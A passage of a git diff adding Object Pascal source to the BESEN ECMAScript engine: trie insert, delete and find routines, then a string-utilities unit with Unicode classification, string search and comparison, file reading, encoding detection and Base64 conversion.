StringChar,NodeChar:widechar; +begin + result:=false; + StringLength:=length(Content); + if StringLength>0 then begin + LastNode:=nil; + Node:=Root; + for Position:=1 to StringLength do begin + StringChar:=Content[Position]; + if assigned(Node) then begin + NodeChar:=Node^.TheChar; + if NodeChar=StringChar then begin + LastNode:=Node; + Node:=Node^.Next; + end else begin + while (NodeChar<StringChar) and assigned(Node^.Down) do begin + Node:=Node^.Down; + NodeChar:=Node^.TheChar; + end; + if NodeChar=StringChar then begin + LastNode:=Node; + Node:=Node^.Next; + end else begin + NewNode:=CreateBESENStringTreeNode(StringChar); + if NodeChar<StringChar then begin + NewNode^.Down:=Node^.Down; + NewNode^.Up:=Node; + if assigned(NewNode^.Down) then begin + NewNode^.Down^.Up:=NewNode; + end; + NewNode^.Previous:=Node^.Previous; + Node^.Down:=NewNode; + end else if NodeChar>StringChar then begin + NewNode^.Down:=Node; + NewNode^.Up:=Node^.Up; + if assigned(NewNode^.Up) then begin + NewNode^.Up^.Down:=NewNode; + end; + NewNode^.Previous:=Node^.Previous; + if not assigned(NewNode^.Up) then begin + if assigned(NewNode^.Previous) then begin + NewNode^.Previous^.Next:=NewNode; + end else begin + Root:=NewNode; + end; + end; + Node^.Up:=NewNode; + end; + LastNode:=NewNode; + Node:=LastNode^.Next; + end; + end; + end else begin + for PositionCounter:=Position to StringLength do begin + NewNode:=CreateBESENStringTreeNode(Content[PositionCounter]); + if assigned(LastNode) then begin + NewNode^.Previous:=LastNode; + LastNode^.Next:=NewNode; + LastNode:=LastNode^.Next; + end else begin + if not assigned(Root) then begin + Root:=NewNode; + LastNode:=Root; + end; + end; + end; + break; + end; + end; + if assigned(LastNode) then begin + if Replace or not LastNode^.DataExist then begin + LastNode^.Data:=Data; + LastNode^.DataExist:=true; + result:=true; + end; + end; + end; +end; + +function TBESENStringTree.Delete(Content:TBESENString):boolean; +var StringLength,Position:integer; + Node:PBESENStringTreeNode; + StringChar,NodeChar:widechar; +begin + result:=false; + StringLength:=length(Content); + if StringLength>0 then begin + Node:=Root; + for Position:=1 to StringLength do begin + StringChar:=Content[Position]; + if assigned(Node) then begin + NodeChar:=Node^.TheChar; + while (NodeChar<>StringChar) and assigned(Node^.Down) do begin + Node:=Node^.Down; + NodeChar:=Node^.TheChar; + end; + if NodeChar=StringChar then begin + if (Position=StringLength) and Node^.DataExist then begin + Node^.DataExist:=false; + result:=true; + exit; + end; + Node:=Node^.Next; + end else begin + break; + end; + end else begin + break; + end; + end; + end; +end; + +function TBESENStringTree.Find(Content:TBESENString;var Data:TBESENStringTreeData):boolean; +var StringLength,Position:integer; + Node:PBESENStringTreeNode; + StringChar,NodeChar:TBESENString; +begin + result:=false; + StringLength:=length(Content); + if StringLength>0 then begin + Node:=Root; + for Position:=1 to StringLength do begin + StringChar:=Content[Position]; + if assigned(Node) then begin + NodeChar:=Node^.TheChar; + while (NodeChar<>StringChar) and assigned(Node^.Down) do begin + Node:=Node^.Down; + NodeChar:=Node^.TheChar; + end; + if NodeChar=StringChar then begin + if (Position=StringLength) and Node^.DataExist then begin + Data:=Node^.Data; + result:=true; + exit; + end; + Node:=Node^.Next; + end else begin + break; + end; + end else begin + break; + end; + end; + end; +end; + +end. diff --git a/Core/JS/BESENStringUtils.pas b/Core/JS/BESENStringUtils.pas new file mode 100644 index 0000000..52a88e0 --- /dev/null +++ b/Core/JS/BESENStringUtils.pas @@ -0,0 +1,2618 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENStringUtils; +{$i BESEN.inc} + +interface + +uses SysUtils,Classes,BESENConstants,BESENTypes,BESENCharset; + +type TBESENHexValues=array[word] of byte; + +const BESENBase64Chars='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; + +const BESENHexChars:array[boolean,0..15] of widechar=(('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'), + ('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F')); + +var BESENHexValues:TBESENHexValues; + +function BESENPosChar(ToFindChar:TBESENWIDECHAR;const InString:TBESENSTRING):longint; +function BESENPos(const ToFindString,InString:TBESENSTRING):longint; + +{$ifndef BESENSingleStringType} +function BESENANSIPosChar(ToFindChar:TBESENCHAR;const InString:TBESENANSISTRING):longint; +function BESENANSIPos(const ToFindString,InString:TBESENANSISTRING):longint; + +function BESENANSITrim(const InputString:TBESENANSISTRING):TBESENANSISTRING; + +function BESENANSIUpperCase(const InputString:TBESENANSISTRING):TBESENANSISTRING; +{$endif} + +function BESENStringCompare(const s1,s2:TBESENString):longint; {$ifdef caninline}inline;{$else}{$ifdef UseRegister}register;{$endif}{$endif} + +{$ifdef BESENSingleStringType} +function BESENGetFileContent(fn:TBESENSTRING):TBESENSTRING; +{$else} +function BESENGetFileContent(fn:TBESENANSISTRING):TBESENANSISTRING; +function BESENConvertToUTF8(s:TBESENANSISTRING):TBESENANSISTRING; + +function BESENDecodeBase64(s:TBESENANSISTRING):TBESENANSISTRING; +function BESENEncodeBase64(s:TBESENANSISTRING):TBESENANSISTRING; +function BESENDequote(s:TBESENANSISTRING):TBESENANSISTRING; + +function BESENIsUTF8(const s:TBESENANSISTRING):boolean; +function BESENEncodeString(Value:TBESENANSISTRING;CharFrom:TBESENCharset;CharTo:TBESENCharset):TBESENANSISTRING; +function BESENGetCodePage(Value:TBESENANSISTRING):TBESENCharset; +function BESENGetCodePageID(Value:TBESENCharset):TBESENANSISTRING; +function BESENDoNeedEncoding(Value:TBESENANSISTRING):boolean; +function BESENFindIdealCoding(Value:TBESENANSISTRING;CharFrom:TBESENCharset;CharTo:TBESENCharsetSet):TBESENCharset; +function BESENISOToUTF8(s:TBESENANSISTRING):TBESENANSISTRING; + +function BESENUTF32Pos(const ToFindString,InString:TBESENUTF32STRING):longint; +procedure BESENUTF32Delete(var s:TBESENUTF32STRING;Index,Len:longint); +function BESENUTF32Compare(const a,b:TBESENUTF32STRING):boolean; overload; +function BESENUTF32Compare(const a:TBESENUTF32STRING;const b:TBESENANSISTRING):boolean; overload; +procedure BESENUTF32Clear(var a:TBESENUTF32STRING); +procedure BESENBESENUTF32AddString(var a:TBESENUTF32STRING;const b:TBESENANSISTRING); +procedure BESENBESENUTF32AddChar(var a:TBESENUTF32STRING;const b:TBESENUTF32CHAR); overload; +procedure BESENBESENUTF32AddChar(var a:TBESENUTF32STRING;const b:TBESENCHAR); overload; +procedure BESENUTF32Add(var a:TBESENUTF32STRING;const b:TBESENUTF32STRING); +function BESENUTF32ToUTF8(const s:TBESENUTF32STRING):TBESENUTF8STRING; +function BESENUTF8ToUTF32(const s:TBESENUTF8STRING):TBESENUTF32STRING; +function BESENUTF8ToUTF16(const s:TBESENUTF8STRING):TBESENUTF16STRING; +function BESENUTF16ToUTF8(const s:TBESENUTF16STRING):TBESENUTF8STRING; +{$endif} +function BESENUTF32ToUTF16(const s:TBESENUTF32STRING):TBESENUTF16STRING; +function BESENUTF32CHARToUTF16(w:TBESENUTF32CHAR):TBESENUTF16STRING; +function BESENUTF16ToUTF32(const s:TBESENUTF16STRING):TBESENUTF32STRING; +{$ifndef BESENSingleStringType} +function BESENUTF32ToWIDESTRING(const s:TBESENUTF32STRING):widestring; +function BESENWIDESTRINGToUTF32(const s:widestring):TBESENUTF32STRING; +function BESENUTF32ToSTRING(const s:TBESENUTF32STRING):TBESENANSISTRING; +function BESENSTRINGToUTF32(const s:TBESENANSISTRING):TBESENUTF32STRING; +function BESENUTF32CharToUTF8(u4c:TBESENUTF32CHAR):TBESENUTF8STRING; +procedure BESENUTF8Inc(var s:TBESENUTF8STRING;var i:longint); +procedure BESENUTF8Dec(var s:TBESENUTF8STRING;var i:longint); +procedure BESENUTF8Delete(var s:TBESENUTF8STRING;i:longint); +function BESENUTF8Length(const s:TBESENUTF8STRING):longint; +function BESENUTF8GetRawPos(const s:TBESENUTF8STRING;Index:longint):longint; +function BESENUTF8GetChar(var s:TBESENUTF8STRING;Index:longint):TBESENUTF32CHAR; +function BESENUTF8GetRawChar(var s:TBESENUTF8STRING;i:longint):TBESENUTF32CHAR; +function BESENUTF8GetRawCharAndInc(var s:TBESENUTF8STRING;var i:longint):TBESENUTF32CHAR; +function BESENUTF8Pos(ToFindString,InString:TBESENUTF8STRING):longint; +{$endif} + +function BESENUnicodeGetLUT(c:TBESENUTF32CHAR):longword; {$ifdef caninline}inline;{$endif} +function BESENUnicodeGetType(c:TBESENUTF32CHAR):longword; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsAlpha(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsAlphaNumber(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsLetter(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsIDPartEx(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsIDStart(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsIDPart(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsDigit(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsStringWhiteSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsParserWhiteSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsWhiteSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsLineTerminator(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsPrint(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsUpper(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeIsLower(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +function BESENUnicodeToUpper(c:TBESENUTF32CHAR):TBESENUTF32CHAR; {$ifdef caninline}inline;{$endif} +function BESENUnicodeToLower(c:TBESENUTF32CHAR):TBESENUTF32CHAR; {$ifdef caninline}inline;{$endif} + +function BESENLowercase(const s:TBESENString):TBESENString; +function BESENUppercase(const s:TBESENString):TBESENString; + +function BESENJSONStringQuote(const s:TBESENString):TBESENString; + +function BESENIsHex(const v:word):boolean; + +implementation + +uses {$ifdef BESENEmbarcaderoNextGen}System.Character,{$endif}BESENUnicodeTables; + +const JSCT_UNASSIGNED=0; + JSCT_UPPERCASE_LETTER=1; + JSCT_LOWERCASE_LETTER=2; + JSCT_TITLECASE_LETTER=3; + JSCT_MODIFIER_LETTER=4; + JSCT_OTHER_LETTER=5; + JSCT_NON_SPACING_MARK=6; + JSCT_ENCLOSING_MARK=7; + JSCT_COMBINING_SPACING_MARK=8; + JSCT_DECIMAL_DIGIT_NUMBER=9; + JSCT_LETTER_NUMBER=10; + JSCT_OTHER_NUMBER=11; + JSCT_SPACE_SEPARATOR=12; + JSCT_LINE_SEPARATOR=13; + JSCT_PARAGRAPH_SEPARATOR=14; + JSCT_CONTROL=15; + JSCT_FORMAT=16; + JSCT_PRIVATE_USE=18; + JSCT_SURROGATE=19; + JSCT_DASH_PUNCTUATION=20; + JSCT_START_PUNCTUATION=21; + JSCT_END_PUNCTUATION=22; + JSCT_CONNECTOR_PUNCTUATION=23; + JSCT_OTHER_PUNCTUATION=24; + JSCT_MATH_SYMBOL=25; + JSCT_CURRENCY_SYMBOL=26; + JSCT_MODIFIER_SYMBOL=27; + JSCT_OTHER_SYMBOL=28; + +function BESENUnicodeGetLUT(c:TBESENUTF32CHAR):longword; {$ifdef caninline}inline;{$endif} +begin + result:=UnicodeALut[UnicodeYLut[(UnicodeXLut[(c and $ffff) shr 6] shl 6) or (c and $3f)]]; +end; + +function BESENUnicodeGetType(c:TBESENUTF32CHAR):longword; {$ifdef caninline}inline;{$endif} +begin + result:=BESENUnicodeGetLUT(c) and $1f; +end; + +function BESENUnicodeIsAlpha(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((((1 shl JSCT_UPPERCASE_LETTER) or + (1 shl JSCT_LOWERCASE_LETTER) or + (1 shl JSCT_TITLECASE_LETTER) or + (1 shl JSCT_MODIFIER_LETTER) or + (1 shl JSCT_OTHER_LETTER)) shr BESENUnicodeGetType(c)) and 1)<>0; +end; + +function BESENUnicodeIsAlphaNumber(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((((1 shl JSCT_UPPERCASE_LETTER) or + (1 shl JSCT_LOWERCASE_LETTER) or + (1 shl JSCT_TITLECASE_LETTER) or + (1 shl JSCT_MODIFIER_LETTER) or + (1 shl JSCT_OTHER_LETTER) or + (1 shl JSCT_DECIMAL_DIGIT_NUMBER)) shr BESENUnicodeGetType(c)) and 1)<>0; +end; + +function BESENUnicodeIsLetter(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((((1 shl JSCT_UPPERCASE_LETTER) or + (1 shl JSCT_LOWERCASE_LETTER) or + (1 shl JSCT_TITLECASE_LETTER) or + (1 shl JSCT_MODIFIER_LETTER) or + (1 shl JSCT_OTHER_LETTER) or + (1 shl JSCT_LETTER_NUMBER)) shr BESENUnicodeGetType(c)) and 1)<>0; +end; + +function BESENUnicodeIsIDPartEx(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((((1 shl JSCT_UPPERCASE_LETTER) or + (1 shl JSCT_LOWERCASE_LETTER) or + (1 shl JSCT_TITLECASE_LETTER) or + (1 shl JSCT_MODIFIER_LETTER) or + (1 shl JSCT_OTHER_LETTER) or + (1 shl JSCT_LETTER_NUMBER) or + (1 shl JSCT_NON_SPACING_MARK) or + (1 shl JSCT_COMBINING_SPACING_MARK) or + (1 shl JSCT_DECIMAL_DIGIT_NUMBER) or + (1 shl JSCT_CONNECTOR_PUNCTUATION)) shr BESENUnicodeGetType(c)) and 1)<>0; +end; + +function BESENUnicodeIsIDStart(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=BESENUnicodeIsLetter(c) or ((c=ord('_')) or (c=ord('$'))); +end; + +function BESENUnicodeIsIDPart(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=BESENUnicodeIsIDPartEx(c) or ((c=ord('_')) or (c=ord('$')) or ((c=$200c) or (c=$200d))); +end; + +function BESENUnicodeIsDigit(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=BESENUnicodeGetType(c)=JSCT_DECIMAL_DIGIT_NUMBER; +end; + +function BESENUnicodeIsSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(BESENUnicodeGetLUT(c) and $00070000)=$0040000; +end; + +function BESENUnicodeIsStringWhiteSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((c>=$0009) and (c<=$000d)) or (c=$0020) or (c=$00a0) or (c=$1680) or (c=$180e) or ((c>=$2000) and (c<=$200b)) or (c=$2028) or (c=$2029) or (c=$202f) or (c=$205f) or (c=$3000) or (c=$feff) or (c=$fffe); +end; + +function BESENUnicodeIsParserWhiteSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=((c>=$0009) and (c<=$000d)) or (c=$0020) or (c=$00a0) or (c=$1680) or (c=$180e) or ((c>=$2000) and (c<=$200b)) or (c=$2028) or (c=$2029) or (c=$202f) or (c=$205f) or (c=$3000) or (c=$feff) or (c=$fffe); +end; + +function BESENUnicodeIsWhiteSpace(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(c=$0009) or (c=$000b) or (c=$000c) or (c=$0020) or (c=$00a0) or (c=$1680) or (c=$180e) or ((c>=$2000) and (c<=$200b)) or (c=$202f) or (c=$205f) or (c=$3000) or (c=$feff) or (c=$fffe); +end; + +function BESENUnicodeIsLineTerminator(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(c=$000a) or (c=$000d) or (c=$2028) or (c=$2029); +end; + +function BESENUnicodeIsPrint(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=c<128; +end; + +function BESENUnicodeIsUpper(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=BESENUnicodeGetType(c)=JSCT_UPPERCASE_LETTER; +end; + +function BESENUnicodeIsLower(c:TBESENUTF32CHAR):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=BESENUnicodeGetType(c)=JSCT_LOWERCASE_LETTER; +end; + +function BESENUnicodeToUpper(c:TBESENUTF32CHAR):TBESENUTF32CHAR; {$ifdef caninline}inline;{$endif} +begin + if (BESENUnicodeGetLUT(c) and $00100000)<>0 then begin + result:=c-TBESENUTF32CHAR(BESENUnicodeGetLUT(c) shr 22); + end else begin + result:=c; + end; +end; + +function BESENUnicodeToLower(c:TBESENUTF32CHAR):TBESENUTF32CHAR; {$ifdef caninline}inline;{$endif} +begin + if (BESENUnicodeGetLUT(c) and $00200000)<>0 then begin + result:=c+TBESENUTF32CHAR(BESENUnicodeGetLUT(c) shr 22); + end else begin + result:=c; + end; +end; + +function BESENPosChar(ToFindChar:TBESENWIDECHAR;const InString:TBESENSTRING):longint; +var i:longint; +begin + result:=0; + for i:=1 to length(InString) do begin + if InString[i]=ToFindChar then begin + result:=i; + break; + end; + end; +end; + +function BESENPos(const ToFindString,InString:TBESENSTRING):longint; +var i,j,l:longint; + OK:boolean; +begin + result:=0; + i:=1; + while i<=length(InString) do begin + l:=i+length(ToFindString)-1; + if l>length(InString) then begin + exit; + end; + OK:=true; + for j:=1 to length(ToFindString) do begin + if InString[i+j-1]<>ToFindString[j] then begin + OK:=false; + break; + end; + end; + if OK then begin + result:=i; + exit; + end; + inc(i); + end; +end; + +{$ifndef BESENSingleStringType} +function BESENANSIPosChar(ToFindChar:TBESENCHAR;const InString:TBESENANSISTRING):longint; +var i:longint; +begin + result:=0; + for i:=1 to length(InString) do begin + if InString[i]=ToFindChar then begin + result:=i; + break; + end; + end; +end; + +function BESENANSIPos(const ToFindString,InString:TBESENANSISTRING):longint; +var i,j,l:longint; + OK:boolean; +begin + result:=0; + i:=1; + while i<=length(InString) do begin + l:=i+length(ToFindString)-1; + if l>length(InString) then begin + exit; + end; + OK:=true; + for j:=1 to length(ToFindString) do begin + if InString[i+j-1]<>ToFindString[j] then begin + OK:=false; + break; + end; + end; + if OK then begin + result:=i; + exit; + end; + inc(i); + end; +end; + +function BESENANSITrim(const InputString:TBESENANSISTRING):TBESENANSISTRING; +var Counter,FromHere,ToHere:longint; +begin + FromHere:=1; + ToHere:=length(InputString); + for Counter:=1 to length(InputString) do begin + if not (InputString[Counter] in [#0..#32]) then begin + FromHere:=Counter; + break; + end; + end; + for Counter:=length(InputString) downto FromHere do begin + if not (InputString[Counter] in [#0..#32]) then begin + ToHere:=Counter; + break; + end; + end; + result:=copy(InputString,FromHere,(ToHere-FromHere)+1); +end; + +function BESENANSIUpperCase(const InputString:TBESENANSISTRING):TBESENANSISTRING; +var i:longint; +begin + result:=InputString; + for i:=1 to length(result) do begin + if result[i] in ['a'..'z'] then begin + inc(byte(AnsiChar(result[i])),byte(AnsiChar('A'))-byte(AnsiChar('a'))); + end; + end; +end; +{$endif} + +function BESENStringCompare(const s1,s2:TBESENString):longint; {$ifdef caninline}inline;{$else}{$ifdef UseRegister}register;{$endif}{$endif} +const BoolToSign:array[boolean] of longint=(1,-1); +var i,j:longint; +begin + if pointer(s1)=pointer(s2) then begin + result:=0; + exit; + end; + j:=length(s1); + if length(s2)<j then begin + j:=length(s2); + end; + for i:=1 to j do begin + result:=longint(word(s1[i]))-longint(word(s2[i])); + if result<>0 then begin + result:=BoolToSign[result<0]; + exit; + end; + end; + result:=length(s1)-length(s2); + if result<>0 then begin + result:=BoolToSign[result<0]; + end; +end; + +{$ifdef cpu64} +function BESENStringEquals(const s1,s2:TBESENString):boolean; {$ifdef caninline}inline;{$else}{$ifdef UseRegister}register;{$endif}{$endif} +begin + result:=s1=s2; +end; +{$else} +{$ifdef cpu386} +procedure BESENStringEqualsAlignFiller; assembler; register; +asm + nop; +end; + +function BESENStringEquals(const s1,s2:TBESENString):boolean; assembler; register; +asm + push ebx + cmp eax,edx + je @Match + test eax,eax + jz @CheckNullEAX + test edx,edx + jz @CheckNullEDX + mov ecx,dword ptr [eax-4] + cmp ecx,dword ptr [edx-4] + jne @Mismatch + sub ecx,8 + jl @Small + mov ebx,dword ptr [eax] + cmp ebx,dword ptr [edx] + jne @Mismatch + lea ebx,dword ptr [eax+ecx] + add edx,ecx + mov eax,dword ptr [ebx] + cmp eax,dword ptr [edx] + jne @Mismatch + mov eax,dword ptr [ebx+4] + cmp eax,dword ptr [edx+4] + jne @Mismatch + sub ecx,4 + jle @Match + neg ecx + add ecx,ebx + and ecx,-4 + sub ecx,ebx +@LargeLoop: + mov eax,dword ptr [ebx+ecx] + cmp eax,dword ptr [edx+ecx] + jne @Mismatch + mov eax,dword ptr [ebx+ecx+4] + cmp eax,dword ptr [edx+ecx+4] + jne @Mismatch + add ecx,8 + jl @LargeLoop +@Match: + mov eax,1 + jmp @Done +@Small: + add ecx,8 + jle @Match +@SmallLoop: + mov bx,word ptr [eax] + cmp bx,word ptr [edx] + jne @Mismatch + add eax,2 + add edx,2 + sub ecx,2 + jnz @SmallLoop + jmp @Match +@CheckNullEAX: + cmp dword ptr [edx-4],eax + je @Match + jmp @Mismatch +@CheckNullEDX: + cmp dword ptr [eax-4],edx + je @Match +@Mismatch: + xor eax,eax +@Done: + pop ebx +end; +(* is a plain asm implementation of: +function BESENStringEquals(const s1,s2:TBESENString):boolean; {$ifdef UseRegister}register;{$endif} +var l:TBESENINT32; + x,y:PWideChar; +begin + result:=false; + x:=PWideChar(s1); + y:=PWideChar(s2); + if x=y then begin + result:=true; + exit; + end; + if (ptruint(x) and ptruint(y))=0 then begin + result:=(assigned(x) and (PBESENUINT32(pointer(ptruint(ptruint(x)-sizeof(longword))))^=0)) or + (assigned(y) and (PBESENUINT32(pointer(ptruint(ptruint(y)-sizeof(longword))))^=0)); + exit; + end; + l:=PBESENINT32(pointer(ptruint(ptruint(x)-sizeof(longword))))^; + if l<>PBESENINT32(pointer(ptruint(ptruint(y)-sizeof(longword))))^ then begin + exit; + end; + if l<8 then begin + while l>0 do begin + if x^<>y^ then begin + exit; + end; + inc(x); + inc(y); + dec(l,2); + end; + end else begin + if (PBESENUINT32(x)^<>PBESENUINT32(y)^) then begin + exit; + end; + dec(l,8); + inc(ptrint(x),l); + inc(ptrint(y),l); + if PBESENUINT32Array(x)^[0]<>PBESENUINT32Array(y)^[0] then begin + exit; + end; + if PBESENUINT32Array(x)^[1]<>PBESENUINT32Array(y)^[1] then begin + exit; + end; + dec(l,4); + if l>0 then begin + l:=(((-l)+ptrint(x)) and (-4))-ptrint(x); + inc(ptrint(x),l); + inc(ptrint(y),l); + repeat + if PBESENUINT32Array(x)^[0]<>PBESENUINT32Array(y)^[0] then begin + exit; + end; + if PBESENUINT32Array(x)^[1]<>PBESENUINT32Array(y)^[1] then begin + exit; + end; + inc(PBESENUINT32(x),2); + inc(PBESENUINT32(y)); + inc(l,8); + until l>=0; + end; + end; + result:=true; +end; +*) +{$else} +function BESENStringEquals(const s1,s2:TBESENString):boolean; {$ifdef caninline}inline;{$else}{$ifdef UseRegister}register;{$endif}{$endif} +begin + result:=s1=s2; +end; +{$endif} +{$endif} + +{$ifdef BESENSingleStringType} +function BESENGetFileContent(fn:TBESENSTRING):TBESENSTRING; +var sl:TStringList; +begin + result:=''; + sl:=TStringList.Create; + try + sl.LoadFromFile(fn); + result:=sl.Text; + finally + sl.Free; + end; +end; +{$else} +function BESENGetFileContent(fn:TBESENANSISTRING):TBESENANSISTRING; +var fm:byte; + f:file; +begin + result:=''; + fm:=filemode; + filemode:=0; + assignfile(f,String(fn)); + {$i-}reset(f,1);{$i+}; + if ioresult=0 then begin + SetLength(result,filesize(f)); + if length(result)>0 then begin + {$i-}blockread(f,result[1],length(result));{$i+} + if ioresult<>0 then begin + {$i-}closefile(f);{$i+} + filemode:=fm; + exit; + end; + end; + {$i-}closefile(f);{$i+} + end; + filemode:=fm; +end; + +function BESENConvertToUTF8(s:TBESENANSISTRING):TBESENANSISTRING; +var s2:TBESENANSISTRING; + i,j,k:longint; +begin + if (length(s)>=3) and (s[1]=#$ef) and (s[2]=#$bb) and (s[3]=#$bf) then begin + // UTF8 + result:=copy(s,4,length(s)-3); + end else if (length(s)>=4) and (s[1]=#$00) and (s[2]=#$00) and (s[3]=#$fe) and (s[4]=#$ff) then begin + // UTF32 big endian + s:=copy(s,5,length(s)-4); + s2:=s; + SetLength(s2,(length(s)+3) and not 3); + for i:=1 to length(s) do begin + j:=i shr 2; + k:=i and 3; + s2[(j shl 2)+(4-k)]:=s[i]; + end; + result:=BESENEncodeString(s,UTF_32,UTF_8); + end else if (length(s)>=4) and (s[1]=#$ff) and (s[2]=#$fe) and (s[3]=#$00) and (s[4]=#$00) then begin + // UTF32 little endian + result:=BESENEncodeString(copy(s,5,length(s)-4),UTF_32,UTF_8); + end else if (length(s)>=2) and (s[1]=#$fe) and (s[2]=#$ff) then begin + // UTF16 big endian + s:=copy(s,3,length(s)-2); + s2:=s; + SetLength(s2,(length(s)+1) and not 1); + for i:=1 to length(s) do begin + j:=i shr 1; + k:=i and 1; + s2[(j shl 1)+(2-k)]:=s[i]; + end; + result:=BESENEncodeString(s,UTF_16,UTF_8); + end else if (length(s)>=2) and (s[1]=#$ff) and (s[2]=#$fe) then begin + // UTF16 little endian + result:=BESENEncodeString(copy(s,3,length(s)-2),UTF_16,UTF_8); + end else if BESENIsUTF8(s) then begin + // UTF8 without byte order mark or plain US-ASCII + result:=s; + end else begin + // Without any unicode byte order mark + result:=BESENEncodeString(s,BESENLocaleCharset,UTF_8); + end; +end; + +const Base64Table:array[0..63] of TBESENCHAR='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; + +var Base64DecoderTable:array[TBESENCHAR] of byte; + +procedure InitBase64; +var i:longint; +begin + for i:=0 to 63 do begin + Base64DecoderTable[Base64Table[i]]:=i; + end; +end; + +function BESENDecodeBase64(s:TBESENANSISTRING):TBESENANSISTRING; +var i,j,l:longint; + c:longword; +begin + SetLength(result,((length(s)*3) shr 2)+3); +{while (length(s) and 3)<>0 do begin + s:=s+'='; + end;} + l:=0; + i:=1; + while i<=length(s) do begin + c:=0; + for j:=1 to 4 do begin + if i<=length(s) then begin + case s[i] of + 'A'..'Z','a'..'z','0'..'9','+','/':begin + c:=c or (Base64DecoderTable[s[i]] shl (24-((j shl 2)+(j shl 1)))); + end; + '=':begin + c:=(c and $00ffffff) or (((c shr 24)+1) shl 24); + end; + else begin + c:=c or $f0000000; + break; + end; + end; + end else begin + c:=(c and $00ffffff) or (((c shr 24)+1) shl 24); + end; + inc(i); + end; + if (c shr 24)<3 then begin + inc(l); + result[l]:=ansichar(byte((c shr 16) and $ff)); + if (c shr 24)<2 then begin + inc(l); + result[l]:=ansichar(byte((c shr 8) and $ff)); + if (c shr 24)<1 then begin + inc(l); + result[l]:=ansichar(byte(c and $ff)); + end; + end; + end else begin + break; + end; + end; + SetLength(result,l); +end; + +function BESENEncodeBase64(s:TBESENANSISTRING):TBESENANSISTRING; +var i,l:longint; + c:longword; +begin + if length(s)=0 then begin + result:=''; + end else begin + SetLength(result,((length(s)*4) div 3)+4); + l:=1; + i:=1; + while (i+2)<=length(s) do begin + c:=(byte(s[i]) shl 16) or (byte(s[i+1]) shl 8) or byte(s[i+2]); + result[l]:=Base64Table[(c shr 18) and $3f]; + result[l+1]:=Base64Table[(c shr 12) and $3f]; + result[l+2]:=Base64Table[(c shr 6) and $3f]; + result[l+3]:=Base64Table[c and $3f]; + inc(i,3); + inc(l,4); + end; + if (i+1)<=length(s) then begin + c:=(byte(s[i]) shl 16) or (byte(s[i+1]) shl 8); + result[l]:=Base64Table[(c shr 18) and $3f]; + result[l+1]:=Base64Table[(c shr 12) and $3f]; + result[l+2]:=Base64Table[(c shr 6) and $3f]; + result[l+3]:='='; + inc(l,4); + end else if i<=length(s) then begin + c:=byte(s[i]) shl 16; + result[l]:=Base64Table[(c shr 18) and $3f]; + result[l+1]:=Base64Table[(c shr 12) and $3f]; + result[l+2]:='='; + result[l+3]:='='; + inc(l,4); + end; + if l>1 then begin + SetLength(result,l-1); + end else begin + result:=BESENAnsiTrim(result); + end; + end; +end; + +function 